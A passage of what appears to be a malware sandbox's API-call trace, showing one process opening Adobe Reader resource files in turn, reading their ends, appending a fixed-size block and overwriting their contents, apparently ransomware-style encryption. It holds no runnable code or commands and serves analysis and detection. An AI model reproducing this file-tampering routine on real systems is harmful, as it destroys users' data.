lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7ffe [0045.921] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.921] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.921] ReleaseMutex (hMutex=0x128) returned 1 [0045.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lit32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lit32.clx", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lit32.clx", lpUsedDefaultChar=0x0) returned 9 [0045.921] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.922] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6ffe [0045.922] ReadFile (in: hFile=0x1b0, lpBuffer=0x280ed28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x280ed28*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.923] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6ffe [0045.923] WriteFile (in: hFile=0x1b0, lpBuffer=0x280ccf8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280ccf8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.924] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0045.924] WriteFile (in: hFile=0x1b0, lpBuffer=0x280ccf8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280ccf8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.924] CloseHandle (hObject=0x1b0) returned 1 [0045.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nyn47.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nyn47.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0045.924] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.924] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3b11d [0045.924] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0045.924] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.924] ReleaseMutex (hMutex=0x128) returned 1 [0045.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nyn47.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nyn47.hsp", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nyn47.hsp", lpUsedDefaultChar=0x0) returned 9 [0045.924] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.968] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3a11d [0045.968] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.038] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3a11d [0046.039] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0046.039] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.039] CloseHandle (hObject=0x1b0) returned 1 [0046.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rum124.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rum124.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x9d800 [0046.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.040] ReleaseMutex (hMutex=0x128) returned 1 [0046.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rum124.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rum124.lex", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rum124.lex", lpUsedDefaultChar=0x0) returned 10 [0046.040] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.085] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.117] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9c800 [0046.117] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.124] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9c800 [0046.126] WriteFile (in: hFile=0x1b0, lpBuffer=0x276d388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.127] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0046.127] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.127] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.127] CloseHandle (hObject=0x1b0) returned 1 [0046.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.152] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.152] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7ffe [0046.152] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.152] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.152] ReleaseMutex (hMutex=0x128) returned 1 [0046.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr32.clx", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sgr32.clx", lpUsedDefaultChar=0x0) returned 9 [0046.152] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.159] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6ffe [0046.159] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.170] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6ffe [0046.170] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ecdf8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27ecdf8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.171] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0046.171] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.171] CloseHandle (hObject=0x1b0) returned 1 [0046.171] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.171] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.171] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x36c [0046.172] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.172] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.172] ReleaseMutex (hMutex=0x128) returned 1 [0046.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn.fca", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spn.fca", lpUsedDefaultChar=0x0) returned 7 [0046.172] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x36c, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2a0f2bc*=0x36c, lpOverlapped=0x0) returned 1 [0046.173] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0046.173] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8f4, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2a0f2d0*=0x8f4, lpOverlapped=0x0) returned 1 [0046.173] CloseHandle (hObject=0x1b0) returned 1 [0046.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\tur.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\tur.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.174] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.174] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2c4 [0046.174] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.174] ReleaseMutex (hMutex=0x128) returned 1 [0046.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tur.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tur.fca", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tur.fca", lpUsedDefaultChar=0x0) returned 7 [0046.174] ReadFile (in: hFile=0x1b0, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2c4, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2a0f2bc*=0x2c4, lpOverlapped=0x0) returned 1 [0046.175] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0046.175] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x84c, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x84c, lpOverlapped=0x0) returned 1 [0046.175] CloseHandle (hObject=0x1b0) returned 1 [0046.175] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.176] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.176] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x345f0 [0046.176] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.176] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.176] ReleaseMutex (hMutex=0x128) returned 1 [0046.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt26l.dat", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt26l.dat", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudt26l.dat", lpUsedDefaultChar=0x0) returned 12 [0046.176] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.184] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x335f0 [0046.184] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.189] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x335f0 [0046.190] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.190] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0046.190] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.190] CloseHandle (hObject=0x1b0) returned 1 [0046.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINTRAD.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chintrad.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.191] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.191] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x520b7 [0046.191] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.191] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.191] ReleaseMutex (hMutex=0x128) returned 1 [0046.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHINTRAD.TXT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHINTRAD.TXT", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHINTRAD.TXT", lpUsedDefaultChar=0x0) returned 12 [0046.191] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.197] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x510b7 [0046.197] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x510b7 [0046.200] WriteFile (in: hFile=0x1b0, lpBuffer=0x2770388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770388*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.200] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0046.200] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.200] CloseHandle (hObject=0x1b0) returned 1 [0046.200] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.201] SetFilePointer (in: hFile=0x1b0, 